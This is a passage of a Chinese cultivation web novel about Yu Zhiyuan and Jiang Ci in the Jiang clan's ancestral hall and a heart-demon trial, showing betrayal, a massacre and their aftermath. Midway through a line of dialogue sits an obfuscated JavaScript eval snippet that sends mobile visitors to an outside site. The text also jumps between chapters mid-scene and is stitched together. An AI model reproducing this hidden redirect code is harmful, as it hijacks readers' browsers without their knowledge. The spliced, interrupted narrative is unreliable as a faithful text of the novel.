可修炼一途向来是艰难的,飞升又如何会像她说的那样简单。 虞知鸢要是知道他在想什么,少不得要为自己辩驳几句。 这可不是她瞎说,书里就是那么写的,而且书里也完全没提及过白虎血脉之力的事,想来这和姜辞后来灵脉被废有一定的关系,但这不就恰恰证明了姜辞最后的成就与这所谓的白虎血脉之力没有关系吗? 当然,虽然最后飞升还是在临门一脚时出了岔子,但这回有她在,她是一定会帮她的,帮她就是帮自己嘛。 说话间,两人已经走到了台阶尽头。 一扇足有二十多米高的大门出现在二人面前。 那门也是玉石打造的,光泽莹润,其上也同样各自雕刻着一只白虎,并且绘制了许多繁杂的符文。 巨大的玉石门,加上数层禁制叠加,让人望而却步。 而姜辞只是轻轻抬起手,似乎没怎么用力,两扇看起来像是有万均重的门就轻易向两边开了。 正要抬脚往里迈,小姑娘扯了扯他的袖子。 “我们要进去吗?” 姜辞点了下头:“离开的阵法在里面。” 虞知鸢小小诧异了下。 怎么进出的阵法还有设在里面的? 那万一有人打你家祖祠的主意,岂不是只要找到进出的阵法就能直捣黄龙了? 当然这话她没问出口,说不定人家有什么秘密武器呢。 她这头没问,姜辞倒是自己交代了:“祖祠里面的阵法只出不入,想要进入祖祠要走其他的通道,当然要是没有足够强大的血脉之力,便是通道也是找不到的。” 虞知鸢:“……” 行叭,是自己想多了。 她探头探脑往大门敞开的祖祠里看了眼,只除了门口处能隐约看到两座像是异兽的雕像,里头黑咕隆咚的,什么也看不见。 而这一片黑暗,在姜辞跨入祖祠的一瞬间便彻底消散。 玄火晶柱里的火焰眨眼间亮起,缓慢跃动,照燃了偌大且静寂的大殿。 大殿正中间有一座巨大的白虎雕像,浑身雪白无一丝杂色,背上的翅膀伸展开来,几乎覆盖了半座大殿。 在那双湛蓝的双眸注视之下,虞知鸢忽然觉得这白虎雕像是活过来了一样,腿一抖,忍不住又伸手拽住了姜辞的衣袖。 姜辞也正看着雕像,只低声道:“无事,莫怕。” 虞知鸢的恐惧因为这一句“莫怕”被奇异地抚平,定下神再看,那雕像就只是雕像,并未活过来,也并没有其他变化。 而一旦不再害怕,虞知鸢松了口气的同时,一双眼睛就又忍不住在白虎雕像上打量了。 唔…… 这大白虎,她怎么越瞧还越有些眼熟呢…… 18. 第 18 章 同样的毛茸茸,同样的浑身雪白,以及长尾巴,要不是没有翅膀,那毛团子妥妥就是眼前白虎雕像的缩小版了。 虞知鸢眯着眼,少顷,抿了抿唇。 其实,两个都是猫科动物,都是两只耳朵一张嘴,一条尾巴四条腿,长得有点相像也没有什么好奇怪的,对吧? 再说了,白虎血脉这不除了姜辞,都已经快断绝了么。就姜辞这样的,能不能变成白虎都还不好说,别人就更不可能了。 毛团子那样子的,就算是老虎,顶多也就是一只不长翅膀的普通灵虎,跟这神兽白虎定然没什么关系,否则系统不早就要发动警报了。 虞知鸢想到这里,心里一松,而后又冷不丁地冒出了点对毛团子的愧疚心。 说起来,这还是她进入问心阵以来,第一回想起毛团子,也不知道问心阵里的时间流速和外头一不一样,它的发-情期……咳咳,不知道熬过去了没有。 虞知鸢的思绪微微飘远了些,然后便听见姜辞道:“那便是了。” 嗯? 虞知鸢忙扭头过去看。 只见白虎雕像后头的墙面上,画着一幅色彩斑斓而又笔触繁复的巨大壁画。 准确来说,是由许多个笔触简单却晦涩难懂的场景共同组合起来的一幅壁画,其中有神兽白虎,有人,也有各种各样的修真界中也难以见到的异兽。 虞知鸢看不懂壁画中的细节,但打眼一扫,也能看出来这大概讲述的是神兽白虎化作一女子,与人间一修士相爱,最终为了修士而留在人间的老套狗血故事。 想来这也就是姜氏一族的起源了。 虞知鸢跟着姜辞走到壁画前,这才看到在壁画的最中间,有一道由数个符咒组合绘制而成的阵法图案。 之所以虞知鸢没能第一眼看到那阵法图案,是因为壁画的其他部分画得十分精细,颜色也鲜艳亮丽,而中间的阵法图案却是灰扑扑的。 要不是姜辞指给她看,她恐怕只会以为那只是几道毫无意义的刻痕呢。 “这就是出去的传送阵?”虞知鸢歪了歪脑袋,只能看明白其中几个简单符咒,于是又转头望向姜辞道:“那我们现在就出去吗?” 姜辞似乎顿了下,而后才点了点头。 他结了个手印,将灵力注入阵法中。 平静的墙面上缓缓泛出阵阵如水波般的涟漪,周遭的气流随之悬急流转,从阵法中间陡然涌处一道夺目的白光。 “走罢。” 话音刚落,那白光便一下把姜辞吞了进去。 虞知鸢一惊,赶紧也一头扎了上去。 然而就在白光将她也吞没的一瞬间,她恍惚感觉到自己的神魂像是微微震了下。 一道虎啸声陡然在她耳边响起。 下一瞬,虞知鸢的识海跟着泛起涟漪,涟漪一圈圈扩大,无声地,缓慢地推散开来。 识海中忽然出现一个大约十来岁,双眸湛蓝,眉目精致的少女。 她一袭白衫,手里似乎端着个药罐,步履匆匆从远处而来。 却在靠近一间房门紧闭的屋子前,她停下脚步,缓了气息,像是怕惊到屋子里的人似的,小心翼翼推开了房门。 屋中有一张粗藤制成的躺椅,一个女子正躺在上面,听见动静,望过来。 “母亲。” 白衣少女放下药罐,为女子添上一袭软毛氅,而后将药倒在碗中,端给女子。 女子脸色有些苍白,略带病容,精神看来不大好,眉宇间却隐隐深蕴着一分昂然于天地之间的高贵。 见到女儿到来,她绽开一个温柔的笑容,而后抬手接过药,仰头一饮而尽。 “你父亲呢?”女子声音很轻,彷佛说话都吃力。 少女接过空碗,“父亲去天山了。” “那傻大个……”女子摇头笑叹,似嗔似骂,话中却又好似带着些甜蜜,叹完又道:“我都说了好几回了不必再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829685|158902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,他怎么就是不懂呢?” “父亲担心您的身体。”少女亦淡淡蹙眉,“若是父亲能寻来恢复血脉之力的法子,母亲的身子也能好起来。” “你们父女俩都是死心眼,”她眸光温热,凝望眼前的清丽少女,“我说过,恢复血脉之力是无法恢复的。” 少女任母亲轻抚她的黑发,笑容仍带些孩子稚气,她枕靠在母亲膝上,待到母亲似乎已经熟睡,才动了动唇,声音很轻,似是自言自语。 “有法子的,”少女那张与姜辞有着几分相像的清丽脸庞上忽然绽开一抹笑意,“只要我能早日修炼出金丹,再将我体内的血脉之力全数归于金丹中,我就可以把血脉之力都还给母亲了。” 虞知鸢忍不住微微瞪大了眼。 她……她难道要把自己的金丹取出来吗? 要知道修士失了金丹,轻则修为尽失,重则神魂受损,甚至魂飞魄散。 但她的母亲看起来很爱她,怎么会舍得她这样做呢? 虞知鸢有些不忍心看接下来的画面,然而却是她想多了。 画面和声音到这里就消散了,再一醒神,她已然置身于一片山青水绿间。 回望来时路,只余一道阻隔来路的万丈悬崖。 虞知鸢认识这个地方,这是位于姜氏学宫后山禁地边缘的一道山崖,一旦跃过山崖,另一头就是禁地,据说里头瘴气浓郁,有许多妖兽出没,凡是进入禁地之人,从未有能够活着出来的。进入学宫的第一日,族老就对她耳提面命过,千万千万不要靠近禁地。 此时乍然见到与那禁地只隔了一道悬崖,虞知鸢几乎是下意识地跳了起来,带着往前冲的惯性,她的脑袋径直撞到了身前人的背上。 这一撞其实力道并不大,一般情况下,只会是虞知鸢捂着脑袋喊两声“疼”,可这回她都还没来得及张嘴,就听得“咚”的一声先一步响起。 在她面前,一个人影已经直挺挺倒了下去。 23-30 第23章 第23章是他的阿鸢。 虞知鸢实在没忍住爆了句粗口。 幸好这会儿她已经快挪到了姜辞边上,伸手一拽,便将那个像个木头桩子一样站着的少年,不,是作少年打扮的少女拽到了自己身边。 当然她没忘记隐息能笼罩的空间有限,因而把姜辞拽进来后,便一把搂住了她,把自己紧紧贴到了她的身上,又连忙贴着姜辞的耳边道:“快,快跑!” 然而就在他们气息消失的瞬间,一个法术阵图倏然在姜朝晖掌中出现。 随着灵力的注入,不过眨眼的功夫,法术阵图就变成了一个巨大的,闪烁着各种符文和图案的大阵,将整个姜氏主宅都笼罩其中。 “阿辞,我知道你还在附近,护山大阵已开启,你跑不远的。”姜朝晖声线沉澈,带着一股悠然的散漫:“还是快些出来吧,也省得舅舅浪费时间。” 不仅没跑远,还就站在原地的虞知鸢:“……” 他们刚才根本都还没来得及动作呢…… 实在是……可恶啊! 要知道隐息虽能隐匿身形和气息,但这玩意儿可不能凭空把她们变没。 现在是姜朝晖还没挪过位置,但凡他一抬腿,把她们俩踹个狗吃屎是小事,身形一暴露那可就玩完了! 她紧紧贴在姜辞身上,想催她快些走,就算跑不出姜家,起码也比待在这个屋子里,待在姜朝晖眼皮子底下强啊! 但这时候她又根本不敢发出声音来,一着急,嘴唇蠕动着,不小心碰到了姜辞的耳垂上。 她一愣,脑中都还没形成什么奇怪的想法,转瞬就把这小小的意外丢到了脑后。 姜辞却是身体一僵,被那抹柔软轻触过的耳垂渐渐泛起热意。 他微微偏开了头,在虞知鸢没有看见的地方,他很不自在地蜷了蜷手指,指尖都轻微地颤抖起来。 在脑中涌出怪异的想法前,他闭了闭眼。 而后,他无比小心地,缓缓抬手抱住了身前的小人儿。 姜朝晖的声音又一次响起:“阿辞这是不听舅舅的话了吗?”他叹了声,语调似乎很是无奈:“既然如此,舅舅也只能收回送给你的礼物了。” 说罢,只瞧见他手指轻轻弹动了一下。 几乎是一瞬间,虞知鸢就觉得像是有什么东西侵入了她的灵台。 她脑中一阵嗡嗡作响,耳边更是仿佛聚集了千万只蜜蜂一般嗡鸣不休。 下一瞬,随着姜朝晖的指尖不断地弹动,那嗡鸣声便像是化作了刀片,在她灵府中、识海中不断搅动。 疼,实在太疼了。 姜朝晖这是在她身上动了什么手脚?!? 但她不能出声,绝对不可以! 虞知鸢狠狠咬了下舌尖,口中血腥弥漫,呼吸都犹如刀割一般。 察觉到怀中柔软温热的身躯止不住地颤抖,姜辞脸色一变。 这是…… “大哥 !“姜青瑶这时撑着身子从床榻上下来,还未靠近,便被姜朝晖一掌挥到了一边。 “阿辞认不出来吗?这是锁灵丝啊。”姜朝晖淡声,“小丫头修为实在太低,锁灵丝用在她身上,舅舅当初还觉得有几分可惜呢,不过现在……” 他微微眯起眼,似是轻叹了声:“你若是不想这小丫头灵府这么快被掏空,还是早些出来吧。” 锁灵丝,顾名思义,是一件可以锁住灵力,阻止灵气在修士体内流动和运转的一件法器,与此同时,它也会吸收修士体内的灵力,转而传送给法器持有者。 虞知鸢现在的修为才洗髓一阶,即便将她体内灵力尽数吸走,对姜朝晖提升自己的修为意义也不大,可虞知鸢若是没了这灵力,灵府被掏空,就随时可能灵府坍塌,成为一个废人。 姜辞微微垂眸。 虞知鸢仍死死咬着唇,细密纤长的羽睫轻颤,眼根微湿,气息奄奄。 姜辞眉头一压,眸中厉色铺天盖地。 一股强劲的压力骤然在姜朝晖面前炸开,喉咙口一股腥甜跟着涌起。 看着眼前突然现出身形的姜辞,他忽然笑了起来。 即便如今只有练气期的修为,也能伤到他吗? 这就是他的力量啊。 姜朝晖吞下口中的血沫,哑声道:“我还道要用她来控制你,少说要等上个几年,倒是不曾想,阿辞竟是个如此心软之人。” 说着话,他的指尖便又是一动。 虞知鸢只觉得眼前一片黑红交错,头顶“嗡”的一声,鲜血控制不住地从她紧闭的唇角溢了出来。 她整个人控制不住地哆嗦,手脚发软,呼吸也越发急促,整个人都几乎已经挂在了姜辞身上,要不是姜辞两只手还抱着她,她可能就直接瘫在地上了。 “够了!”姜辞眸中情绪冰冷,但说出口的话却隐隐带了丝颤抖,“我跟你去祖祠就是。” /// 虞知鸢失去了意识。 再次醒来,已经身在姜氏的祖祠中了。 长明灯照亮了大殿中的白虎雕像,同时也照亮了眼前那道纤瘦伶仃的身影。 橙黄色的火光如沐瑰丽余晖,薄浅红光,濡染他面庞、发梢、以及…… 自他背后生出的,一双巨大而又雪白的翅膀。 姜辞整个人就这么浸润在光影中,带着桀骜难折的孤傲倔强,深深印入了虞知鸢的眼眸间。 虞知鸢不自禁地瞪大了眼,等到回过神来,下意识爬起来想跑到他身边。 她必须得阻止姜朝晖,保护姜辞。 但只稍稍一动作,她整个人就不由自主地飘了起来。 就像是魂魄脱离了躯体似的,轻轻地飘到了空中,轻灵得宛如一片羽毛。 怎么回事? 她还来不及震惊,一个高挺的人影已经自另一头走了过来。 是姜朝晖。 他一身玄衣,眉目疏朗,嘴边噙着一丝似有若无的笑,端的是矜贵出尘,不似凡间人。 若是没有见过他的真面目,虞知鸢恐怕都要被他这副样子给迷惑了。 而此时姜辞还紧紧闭着眼,对与姜朝晖的到来没有丝毫反应。 虞知鸢努力让自己飘到姜辞身前,可姜朝晖仿佛没有看见她一般,径直便穿过了她的身体。 这也是虞知鸢可以料想到的情况。 一个魂体,怕是什么也做不了。 但她总不能就这么眼睁睁地看着姜朝晖取了姜辞的金丹吧? 那厢姜朝晖已经抬起了手,指尖灵气凝聚,一条亮光闪烁的轨迹出现,然后渐渐凝聚成一道刺目的灵光,直直刺入姜辞的胸膛。 大片浓稠的血液瞬间迸射开来,穿过虞知鸢的面庞,落到地上。 紧接着,是远处一声重物重重落地的沉闷声响。 虞知鸢瞪大了眼,死死盯着地上那抹身影。 那是姜青瑶。 她替姜辞挡下了姜朝晖的一击。 可为什么早不救姜辞,偏要在这个时候? “阿瑶真是打得一副好算盘啊。”姜朝晖的神色阴戾而戒备,目光冰冷如薄刀,“可惜了,想要拖住我,等到他修为再上一个境界好来对付我吗?就凭你,怕是不够啊。” 虞知鸢这时候也再顾不上别的,控制着自己飘到姜辞身边,见没法触碰到姜辞,急得又是大喊又是大叫的。 也就是在这时候,她注意到自己的手腕上似乎有什么东西闪了闪。 是息尘长老给她的法器星移? 对了,这件法器既然能将她拖进姜辞的心魔中,是不是就意味着它在她和姜辞的神魂上建立了一定程度的连接? 兴许只要将灵力注入其中,就能唤醒姜辞了。 这时候也管不了这个可能性有多大了,幸而即便她现在是魂体,灵力的调动似乎并不受什么影响。 随着灵力的注入,姜辞手腕上也开始有一圈儿隐约的银光闪烁。 有戏! 姜辞隐约听到有人在叫他,但耳边充斥着无数嘈杂混乱的声音,让他实在听不清楚。 但渐渐的,那声音越来越大,直至某一瞬间,压过耳边所有的嘈杂。 姜辞猛地睁开眼。 入目是一张焦灼的脸庞,一双眼眸晶莹,有些熟悉。 她在喊他。 “姜辞,救她!” 救谁? 他的视线顺着她的看过去。 满身是血的女子正强行挣扎着站起身来,可下一瞬,一道强悍的威压凌空而至,又一次将她整个人都掀飞到了殿外。 重重落地之后,身体在地面上划出一道深深的沟壑,狠狠撞到了外头那一大片的冰晶藤蔓中。 尖利的冰刺穿进她的身体,一圈一圈地把她捆绑起来,然后渐渐勒紧,每一根冰刺上又爆发出无数个更尖利的冰刃,密密麻麻扎到她的身上。 他眉心微微动了动,眼底薄薄的悲凉随之漫了出来。 冰晶藤蔓怎么可能伤到她? 还在骗他。 “姜辞,你干什么呢,快救救她啊!” 虞知鸢见他不动,就这么冷眼看着姜青瑶被那些疯狂的渐渐吞噬掩埋,急得直去抓他的手臂。 谁料这一抓,竟真的感受到了他皮肤的温热。 虞知鸢心中一喜,可还没等姜辞有什么动作,另一边的姜朝晖便察觉到了他们的动静。 一簇火苗骤然从他手心燃起,瞬间变成一片大火。 紧跟着一声轰鸣声响,一股强劲气流摧枯拉朽一般朝他们荡过来。 “阿辞醒了啊。” 姜朝晖的声音在大殿中回荡。 他蜷起手指,凌空而起,似是要释放什么大招。 “醒了也得乖乖的,舅舅还能考虑只取你的金丹,否则舅舅不介意把你的命一起取走。” 虞知鸢觉得姜朝晖似乎仍然看不到她,但这不是关键,关键是人家都要打死你了,你倒是赶紧还手啊! 她下意识去推姜辞,而后险些被吓了一大跳。 姜辞的身子不知什么时候已抽条长大,眸间稚气全然无存,赫然便是在凌云宗时的模样。 但……好像又不太一样。 在凌云宗时,她看上去只是高冷,而现在的这张脸上却仿佛失去了一切表情,就像是一张被血与火光染得脏污的面具,冷硬而又毫无生气。 虞知鸢不自觉地蹙起眉头。 就在这时候,姜辞背上那双雪白的翅膀蓦地舒展而开,裹挟着他,就这么迎着那道似是要将一切毁灭的火焰和气流迎了上去。 一切都只发生在电光火石之间。 只听“嘭”的一声巨响,一股惊天骇地之气,在大殿内荡开。 而后缓缓归于平静。 姜朝晖难以置信地瞪大了眼。 面前的少年脊骨笔挺,面色冷冽,那只被鲜血染红的五指弯曲成爪,手里一团鲜红的血肉,仿佛还在跳动,却又很快失去生机。 鲜血不断的滴答而落。 不……不可能…… 他明明已经取了他的金丹…… 难道…… “你……”姜朝晖一张口,鲜血便不断从他口中涌出,但他脸上却露出了点怪异的笑容,“哈 哈……你……祂们……不会……放……” “是吗?”姜辞慢慢抬眼,幽深的眸中倒映出遮天蔽日的黑气,他勾了勾唇,嘴角淡然一扬:“那我等着。” 恨意和不甘在姜朝晖眼底翻腾,然而随着视线一点点涣散,他喉中再也挤不出半个字来。 这骇人的画面只发生在短短一瞬间。 虞知鸢甚至没看清楚这两人是如何交手的,再反应过来,就见姜朝晖已经从半空直挺挺砸落到了地上,掀起一地碎石尘埃。 这就结束了? 怎么好像跟想象中的不大一样…… 噼啪。 噼啪。 耳边忽然响起像是一个气泡破碎的声音。 紧接着,眼前的画面开始旋转、颠倒、破碎,其间夹杂着更多虞知鸢不曾见到过的画面碎片,蹒跚学步的姜辞,在门外听到了真相的姜辞,被取金丹的姜辞,渐渐长大的姜辞,第一次拿剑的姜辞,以及滔天血泊中眸色猩红的姜辞…… 凌乱破碎的画面逐渐拼凑出一个没有她的,只属于姜辞记忆中的,她真正的过去。 纷乱的画面,最终湮灭在一片黑暗之中。 不知过了多久,黑暗中出现了零星的月光。 月光之下,又隐约可见一片楼阁宅邸。 是姜家主宅。 有风倏然掠过,虞知鸢不由自主地打了个寒颤。 这风不凉,却仿佛带着一股无法言说的阴寒,直往人骨头缝里钻。 紧跟着她听见了牙齿打颤的声音。 咯咯、咯咯。 不是她发出来的。 虞知鸢立即环顾四周,但比她动作更快的,是身后骤然传来的一道惨叫声。 那声音尖锐凄厉,像是硬生生从喉咙里挤出来的似的,充斥着浓郁的恐惧和惊骇。 虞知鸢被这声音惊得汗毛倒竖,想也不想往前跳了两步,而后才扭过脸。 却是先瞥见了几个泛白的黑影。 为什么会泛白呢? 因为那几个黑影并不是人,而是一句句只有白色骨架的骷髅。骨架映着盈盈月光,散发出一种诡异的光泽。 而在这几具骷髅前的地上,躺着一个天灵盖都被开了个窟窿的人。 暗色的血珠从他头顶流出来,稀稀拉拉地落了满地,鲜血滴落之处,草木迅速泛黄枯萎。 虞知鸢应该感到害怕的。 可兴许因为此刻那个被开了天灵盖的,正是学宫中和姜煜一伙欺负过姜辞的人,她竟也没那么怕了。 至于那几个骷髅架子…… 它们好似看不见她。 此时远处忽然响起一连串的脚步声,其中还夹杂着几道十分焦急的声音。 “去请族老,学宫那边出事了……” “那些魔物跟过来了,快通知族内弟子加强戒备!” “来不及了,快跑!快!” “……” 虞知鸢心中一动,本能地抬头望去。 一道欣长身影,踩着血色,披着月光一步步走来…… 与此同时,数道灵力在半空中陡然炸开,刺目的灵光四散。 霎时间,飞沙走石,几道人影瞬间被掀飞了出去。 鲜血夹杂着刺目的灵光自空中洒落,方才还在说话的几人几乎瞬间便没了气息,只脸上还残留着未散的惊惧。 血雾漫天,浓郁到像是一张网,落下来拢住了虞知鸢,让她连喘气都似乎变得艰难起来。 她那双仿佛蒙着一层血色的眸中,只余那临风而立的欣长身影,狂风卷携着他染血的衣袍,猎猎作响。 “少主!何故如此,何故如此啊!” 数十道人影自主宅深处赶来,为首之人正是满脸痛惜之色的族老,“纵然世事不公,家主或许做了对不住少主你的事,可其他弟子是无辜的啊。少主且清醒一点,万不可铸下大错!” 如此苦口婆心,姜辞却恍若未闻。 他闲庭信步一般走来,嘴角弯起一道极浅的弧度,似笑非笑的神情,却散发出一股嗜血的浓重煞气。 有弟子忍不住出声: “族老,何必再与他多言,他已经疯魔,说再多也无用,快回来。” “是他杀了家主,他不会放过我们的,我们今日必须杀了他。” “姜辞,你残杀学宫中众多弟子,今日我定要替天行道,将你斩于剑下!” “……” 姜辞高临下地望着众人,面上的笑容依旧,那双眼睛却红得仿佛浸了血,瞳孔中找不到一丝光点。 “替天行道是吗?”他动了动唇,漫不经心道:“给你们机会,来。” “你这魔障,竟如此口出狂言!”另一族老怒不可遏,当即抬手掐诀。 长剑骤然出鞘,于虚空之中化作数道剑影,扬带起一片火云,向姜辞席卷而去。 然而那剑影在逼至姜辞面前之时,便再进不得半步。 姜辞扬唇一笑,只一抬手,便轻易握住了剑柄。 那只白皙的手染了鲜血,分外妖冶,他反肘割破族老喉管时,云淡风轻就像是在割白菜一般。 其余弟子见状,亦是纷纷双手掐诀,迅速摆阵把姜辞围在中间。 是与护山大阵对应的诛魔阵。 在场的人心里都很清楚,哪怕所有人合起力来恐怕都对付不了姜辞,但无妨,早在很久以前,姜氏先祖就在濉无山设下了以四灵之力为源的护山大阵,只要借助护山大阵的力量,拿下姜辞不在话下。 但虞知鸢知道姜辞不会死,否则他就不可能拜入凌云宗。 所以出事的不会是他,而是……整个姜家。 难怪书里的姜辞从头到尾都不曾想起过要找到灭门的凶手报仇,报什么仇呢? 屠尽姜家,导致姜家一夜之间灭了门的人原本就是姜辞自己啊。 识海中,久违的电子音陡然响起: 【叮~检……测到女……主已陷入心魔,请……宿主……帮助女主摆……脱心……魔,脱离……问心……阵。】 系统的声音断断续续,其中还夹杂着如信号不好一般的呲呲啦啦的电流声,听的虞知鸢眉头紧蹙。 姜辞的心魔,应当就是被至亲至爱之人欺骗、背叛、伤害。 可她又该怎么帮她? 随着道道灵力涌入阵法之中,一时间,磅礴的灵力爆发,虚空中形成一道巨大的光柱,携着排山倒海之势袭向姜辞。 不可以! 姜辞只来得及看到眼前有个人影一闪,隐约的梅香掠过鼻尖,怀中便撞入了一个纤细柔软的东西。 他本能要挥开她的手忽然滞了一瞬,就是这么一瞬,那人的一双手臂也紧跟着缠了上来,环住他的腰,一把抱住了他。 手中凝聚的灵力倏然消散。 几乎是在同时,眼前光芒大盛,巨大的光柱携着磅礴的灵力随之碾压过来。 短暂的怔愣过后,姜辞并未重新掐诀,却是伸出手臂,转而将身前的人紧紧拢在了怀里。 她是谁不要紧。 他死或是不死,也没有什么关系。 可至少,他不是孤单一人。 虞知鸢:“……你倒是躲一下啊!” 我可没想着跟你一起死啊!!! 她原本想的只是把姜辞撞开,没料到用尽她全力的这一撞,楞是半点没能撞歪他的身形,反倒还打断了他欲要反击的动作。 虞知鸢都傻了眼了。 不是,这怎么回事? 她脑中嗡嗡作响,满脑子只剩下两个大字:完辣…… 然而下一刻,伴随着一声闷哼,身后那暴涨的灵力像是倏然被什么东西给挡开了。 余光中,只见血色的灵力四散蔓延开来,院内的草木瞬间被拦腰折断,化作满地狼藉,就连虚空中都好似裂开了无数蛛网般的纹路。 虞知鸢难以置信地眨了眨眼,还以为是自己如此奋不顾身的行为化解了姜辞的心魔。 哪里料到,一抬眸,却发现姜辞的呼吸好似骤然停顿了下来。 他的嘴角绷直,眼睛直直看着她身后,那张原本因嗜杀而令人不敢逼视的面孔,此时像是因着眼中所见,竟浮现出一种像是茫然的神色。 虞知鸢好奇地转过头,而后便见到了满地破碎的淋漓血肉之中,那道苍白羸弱的身影。 血色浓重,蜿蜒覆盖了整个天地 。 她自血泊之中缓缓抬起眸,微弱的气息仿佛下一刻就要彻底消散。但她眸中深处,却仿佛满是得偿所愿的欣然。 虞知鸢瞧见她的嘴唇动了动,但距离太远,完全听不清她说了什么。 她下意识想要靠近些,但身侧抱住她的那个人,此时却恍若僵住了石雕一般,动也不动。 “姜辞,”虞知鸢轻声唤他,“去看看她啊。” 识海中那道温柔的声音很快散去,取而代之的是耳旁少女软糯的嗓音:“姜辞,你的母亲一直很爱你啊。” 他指尖微颤,胸膛中情绪激烈翻涌,直至将他整个淹没。 /// 不知过了多久。 姜青瑶不见了。 满院子残肢断臂不见了。 一切仿佛只是做了一场梦。 【系统能量……即将……耗尽,将进入……休……眠模式……请宿……主……自行完……成任……务。】 系统的机械音犹在耳边。 虞知鸢用力眨了下眼,重新适应了一下比起方才显得明亮得多的光线。 这是一片由玉石铺成的宽阔广场,而她正站在广场中间。前面不远处是一玉石台阶,台阶上头坐落着一间宫殿,宫殿前头站着个须发皆白,慈眉善目的老头。 正是息尘长老。 “问心阵已破,恭喜二位通过此次试炼。”他拈了拈胡须,面上依旧是含笑的和蔼模样,朝阶下二人看过来时眯了眯眼,又对虞知鸢道:“她体内灵力不稳,你先带她回去歇着吧。三日后是正式的拜师大典,届时直接前往中阙峰主殿即可。” 说罢,也不再看两人,转过身走进了身后的宫殿。 周围很快安静下来,除了清风拂过的声音,便只有身旁耳后落下来的,似有若无的轻浅呼吸声。 不知为什么,虞知鸢这时候竟然有些不敢回头。 虽说在问心阵中她也算和姜辞经历过许多了,可起初问心阵里的姜辞并不记得她,小孩子又好哄,自然容易亲近。 现在从问心阵里出来了,她可就是那个曾经切切实实欺辱过她的坏师姐,而经过这么一遭,她又知道了太多关于姜辞、关于姜家的秘密…… 怎么想都有点危险啊。 以及,系统为什么会突然进入休眠模式? 在穿到书里后,系统从刚开始的有问必答,到后头和她的联系越来越少,虞知鸢也察觉到了系统的怪异。 可从整体来看,这系统确实是在帮她的,她还指望着能从系统嘴里再多套点有用的东西呢。实在没料到,这剧情才发展了个开头,系统竟然就能量耗尽了。 这后面的剧情可还有好几十万字的内容呢,难道就叫她一个人来应对? 虞知鸢再次尝试着在识海中呼唤系统,果然没有一丝回应。 脑中纷纷乱乱的,不觉身后之人陡然张口吐了口血,而后身形一萎顿,整个人便直直朝她砸了过来。 虞知鸢毫无心理准备,险些被压他整个压到身下。 踉跄了两步稳住身形,她才艰难地把人给架了起来。 而后扭过头,唤他:“姜辞?” 姜辞的意识还在,奈何体内灵气汹涌紊乱,不断冲击着他的五脏六腑,让他难以站立起来。 他动了动唇,想叫她不用担心,可一张口,就又吐了口血来。 这下虞知鸢是真的吓到了。 一张俏白的面上闪过一丝惊惶,焦急看向他的那双眼里,眼波流转,好似盛着一汪清泉。但她的眼尾方才溅到了他的血,随着她微微下垂的眼角缓缓滑落,平白添了一丝昳丽和妩媚。 她扶住他,颤声道:“你没事吧?我这就带你回去,你可别晕过去啊。” 姜辞没有开口说话。 他只是闭上眼,放任自己的意识彻底沉入黑暗。 /// 夜色渐浓,明月高悬。 夜风吹进半开的窗户,吹得桌上昏黄的烛光袅袅摇曳。 “呼……” 姜辞仿佛听见微风拂过耳畔的声音。 空气中还隐隐漂浮着一股熟悉的气息。 他眉头一松,缓缓睁开了眼。 入目是凌云宗外门弟子舍馆内统一的灰色床帐。 身上盖着的薄被却不是他惯用的那条。 他顿了下,而后微微侧眸。 身旁的少女睡颜安宁,半张脸埋在被褥中,睡得很熟。 清风略过,床幔轻浮。 耳旁仿佛跟着响起一道软糯稚嫩的声音:“没有人会比我更喜欢你的。” 她是阿鸢啊。 是他的阿鸢。 她紧紧攥过他的手。 她奋不顾身拥抱过他。 她信誓旦旦对他说过:“将来的你,我更更更喜欢!” 姜辞凝注着她。 良久,缓缓抬手掐了下她的脸颊。 这动作似乎是惊扰到了她,睡梦中的她便皱了皱眉。 “现在,还喜欢吗?” 声音很轻,几乎是耳语。 谁晓得身旁的人竟突地翻了个身,嘴里含糊着什么,手脚并用缠到了他身上来。 细滑温热的额头贴住了他的下颌,柔热的鼻息随之喷吐在他颈间,像是在回应他方才问她的那句话。 他愣了下,而后才蓦然想起来,她现在已经不是那个小萝卜头,她现在…… 姜辞脑中“嗡”一声响,瞬间有种血液在体内倒流的感觉。 他觉得自己的脖颈有点痒,甚至骨头缝里都好像透出了痒。 他盯着她乖巧的睡颜,瞧她轻颤的鸦羽,而后按住了被子下,那只几乎快要钻到他衣襟里的手。 这时姜辞脑海中蓦地闪过一个念头,她对他如此亲昵毫无戒备,可她到底知不知道他是个男子? 思绪这么一晃,他很快便又想起来问心阵中第二次见到那回,她拍着胸脯说要保护他的画面,那时她唤他——“师妹”。 所以她对他如此毫无防备的亲昵,是因为她压根没把他当做男人! 姜辞的面皮忍不住抽了抽,第一此对自己扮作女子进入凌云宗来的决定产生了怀疑。 他动了动手指,抓住她手腕挪开了些,却不料一只腿紧接着压到了他身上。 姜辞浑身一僵,蓦地攥紧了手指。 这么一攥,倒又险些弄醒了她。 好在她只是迷迷糊糊又翻了个身,背朝着他,很快又睡了过去。 姜辞松了口气,可却睡不着了。 他不自觉地摩挲了下指尖,总觉得掌中还残留着那温热滑腻的触感。 又不知过去了多久,月光都悄然隐去了。 姜辞悄然侧过身,盯住了她睡得毛毛糙糙的后脑勺,然后冷着脸,轻轻捏住她的肩头,将她转了回来。 方才还睡得好好的虞知鸢,这时候打了个滚儿,顺势滚进了他的怀里。 姜辞轻轻吸了口气,没有推开。 透过薄薄的衣衫,他轻易便可以感受到她肌肤的温度,卷携着清浅的白梅香冲散了他周身的燥郁。 他默然盯着帐顶瞧了许久,而后才闭上了眼。 转眼一夜过去。 虞知鸢醒来的时候,发现自己几乎整个人都窝在了姜辞怀里。 她揉揉有些迷糊的眼睛,等到脑子清醒了些,才轻手轻脚推开姜辞下了床榻。 昨日姜辞晕得实在太突然,她将灵力探入她经脉时才发现她体内灵力实在汹涌狂猛,然因他灵脉受损,这股灵力无法顺畅在经脉之间运行,这才导致他五脏六腑都受到了冲击。 